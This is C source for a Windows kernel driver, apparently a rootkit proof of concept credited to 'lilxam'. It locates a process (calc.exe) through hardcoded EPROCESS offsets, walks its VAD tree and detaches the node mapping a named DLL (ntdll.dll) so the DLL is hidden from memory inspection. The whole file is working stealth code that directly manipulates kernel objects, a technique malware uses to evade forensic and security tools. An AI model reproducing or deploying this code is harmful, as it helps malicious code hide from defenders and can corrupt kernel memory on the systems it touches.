#include <ntddk.h>

#include "structs.h"

/* Hide dll from VAD by 
        lilxam : http://lilxam.tuxfamily.org */
        
/* Types */
typedef unsigned long DWORD;
typedef DWORD *PDWORD;
typedef unsigned char BYTE;
typedef BYTE *PBYTE;
typedef unsigned short WORD;

typedef struct _VAD_INFO
{
        LONG level;
        ULONG pAddress;
        PCONTROL_AREA pControlArea;
        PFILE_OBJECT pFileObject;
        PUNICODE_STRING Name;
}VAD_INFO, *PVAD_INFO;

PEPROCESS GetEprocess(PUCHAR szProcessName);
PMMVAD GetVAD(PUCHAR szProcessName);
VOID SetVadInfo(PMMVAD pVad, PVAD_INFO pVadInfo);
VOID DisplayVadInfo(PVAD_INFO pVadInfo);
PCONTROL_AREA GetControlArea(PMMVAD pVad);
PFILE_OBJECT GetFileObject(PMMVAD pVad);
PUNICODE_STRING GetVADName(PMMVAD pVad);
VOID ListVAD(PMMVAD pParentVad, LONG level);
VOID HideDllFromVAD(PMMVAD pParentVad, LONG level, PUNICODE_STRING pDllName);

PEPROCESS GetEprocess(PUCHAR szProcessName)
{
         PEPROCESS pBaseEprocess = NULL;
         PEPROCESS pCurrentEprocess = NULL;
         PLIST_ENTRY pCurrentList = NULL;

         
         
         //Parcourt des Eprocess
         pCurrentEprocess = (PEPROCESS)IoGetCurrentProcess();
         pBaseEprocess = pCurrentEprocess;
         do
         {
                                   
                                   //DbgPrint("\nProcess : %s", ((PUCHAR)pCurrentEprocess+0x174));
                                   pCurrentList = (PLIST_ENTRY)((PUCHAR)pCurrentEprocess+0x88);
                                   
                                   if(pCurrentList->Flink == NULL)
                                                          return 0x0;
                                                          
                                   pCurrentEprocess = (PEPROCESS)((PUCHAR)pCurrentList->Flink-0x88);
                                   
                                   if(pBaseEprocess == pCurrentEprocess)
                                                    return 0x0;
                                                    
         }while(strcmp(szProcessName, (PUCHAR)pCurrentEprocess+0x174));
         
         return pCurrentEprocess;
}

PMMVAD GetVAD(PUCHAR szProcessName)
{
       PMMVAD pVadRoot = NULL;
       PEPROCESS pEprocess = NULL;
       
       pEprocess = GetEprocess(szProcessName);
       
       DbgPrint("\n\nEPROCESS : 0x%x \n\n", pEprocess);
       
       if(pEprocess == 0x0)
       {
                    DbgPrint("\nProcess not found\n");
                    return 0x0;
       }
       pVadRoot = (PMMVAD)*(PULONG)((PUCHAR)pEprocess+0x11C);

       
       DbgPrint("\n\nVADRoot : 0x%x\n\n", pVadRoot);
       
       
       return pVadRoot;
}
VOID SetVadInfo(PMMVAD pVad, PVAD_INFO pVadInfo)
{
     pVadInfo->pAddress = (ULONG)pVad;
     pVadInfo->pControlArea = (PCONTROL_AREA)GetControlArea(pVad);
     pVadInfo->pFileObject = (PFILE_OBJECT)GetFileObject(pVad);
     pVadInfo->Name = (PUNICODE_STRING)GetVADName(pVad);
     
     
     return;
}
VOID DisplayVadInfo(PVAD_INFO pVadInfo)
{
     DbgPrint("\n[+]0x%x", pVadInfo->pAddress);
     DbgPrint("      Level : %ld", pVadInfo->level);
     DbgPrint("      Control Area : 0x%x", pVadInfo->pControlArea);
     DbgPrint("      File Object : 0x%x", pVadInfo->pFileObject);
     DbgPrint("      Name : %wZ", pVadInfo->Name);
     
     return;
}     
PCONTROL_AREA GetControlArea(PMMVAD pVad)
{
       if(MmIsAddressValid(pVad) == FALSE || pVad == 0x0)
               return 0x0;
       
        return (PCONTROL_AREA)pVad->ControlArea;     
}

PFILE_OBJECT GetFileObject(PMMVAD pVad)
{
       PCONTROL_AREA pControlArea = NULL;
       
       pControlArea = GetControlArea(pVad);
       
       if(MmIsAddressValid((PULONG)pControlArea) == FALSE)                   
                        return 0x0;
       
       return (PFILE_OBJECT)pControlArea->FilePointer;
} 
     
PUNICODE_STRING GetVADName(PMMVAD pVad)
{
       
        PFILE_OBJECT pFileObject = NULL;   
                        
        pFileObject = GetFileObject(pVad);
           
        if(MmIsAddressValid((PULONG)pFileObject) == FALSE)                                                    
                        return 0x0;
          
        if(MmIsAddressValid((PULONG)((PUCHAR)pFileObject+0x30)) == FALSE)                                                    
                        return 0x0;

        return (PUNICODE_STRING)((PUCHAR)pFileObject+0x30);
}   
VOID ListVAD(PMMVAD pParentVad, LONG level)
{
      PMMVAD pVadLeft = NULL;
      PMMVAD pVadRight = NULL;
      VAD_INFO VadInfo;
      
      if(pParentVad == 0x0)
                    return;
      
      VadInfo.level = level;
      SetVadInfo(pParentVad, &VadInfo);
      DisplayVadInfo(&VadInfo);
                                
      pVadLeft = (PMMVAD)pParentVad->LeftChild;
      pVadRight = (PMMVAD)pParentVad->RightChild; 
      
      if(pVadLeft != 0x0)
      {
                  ListVAD(pVadLeft, level+1);
      }
      if(pVadRight != 0x0)
      {
                  ListVAD(pVadRight, level+1);
      }
      
      
      return;
} 
VOID HideDllFromVAD(PMMVAD pParentVad, LONG level, PUNICODE_STRING pDllName)
{
      PMMVAD pVadLeft = NULL;
      PMMVAD pVadRight = NULL;
      PUNICODE_STRING pVadName = NULL;
      
      if((LONG)pParentVad == 0x0)
                    return;
      
      pVadLeft = (PMMVAD)pParentVad->LeftChild;
      pVadRight = (PMMVAD)pParentVad->RightChild; 
      
      /* Check left VAD */
      pVadName = GetVADName(pVadLeft);
      
      if(pVadName != 0x0)
      {
                  if(wcsstr(pVadName->Buffer, pDllName->Buffer))
                  {
                                      DbgPrint("\nDll found : %wZ", pVadName);
                                      DbgPrint("\nErasing from Vad list...");
                                      (ULONG)pParentVad->LeftChild = 0x0;
                                      
                                      return;
                  }
      } 
                  
      /* Check Right VAD */
      pVadName = GetVADName(pVadRight);
      
      if(pVadName != 0x0)
      {
                  if(wcsstr(pVadName->Buffer, pDllName->Buffer))
                  {
                                      DbgPrint("\nDll found : %wZ", pVadName);
                                      DbgPrint("\nErasing from Vad list...");
                                      (ULONG)pParentVad->RightChild = 0x0;
                                      
                                      return;
                  }
      }                           
      
      
      if(pVadLeft != 0x0)
      {
                  HideDllFromVAD(pVadLeft, level+1, pDllName);
      }
      if(pVadRight != 0x0)
      {
                  HideDllFromVAD(pVadRight, level+1, pDllName);
      }
      
      
      return;
}
VOID OnUnLoad(PDRIVER_OBJECT pDriverObj)
{
     DbgPrint("\nDriver exited\n");  
     
}

       
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObj, PUNICODE_STRING pRegistryPath)
{
         
         PMMVAD pVadRoot = NULL;
         UNICODE_STRING DllName;
         
         RtlInitUnicodeString(&DllName, L"ntdll.dll");
         
         DbgPrint("\nLilxam VADTree driver OK\n");

         pVadRoot = GetVAD("calc.exe");
         
         ListVAD(pVadRoot, 0);
         
         HideDllFromVAD(pVadRoot, 0, &DllName);
         
         ListVAD(pVadRoot, 0);
         
         pDriverObj->DriverUnload = OnUnLoad;
         
         return STATUS_SUCCESS;
}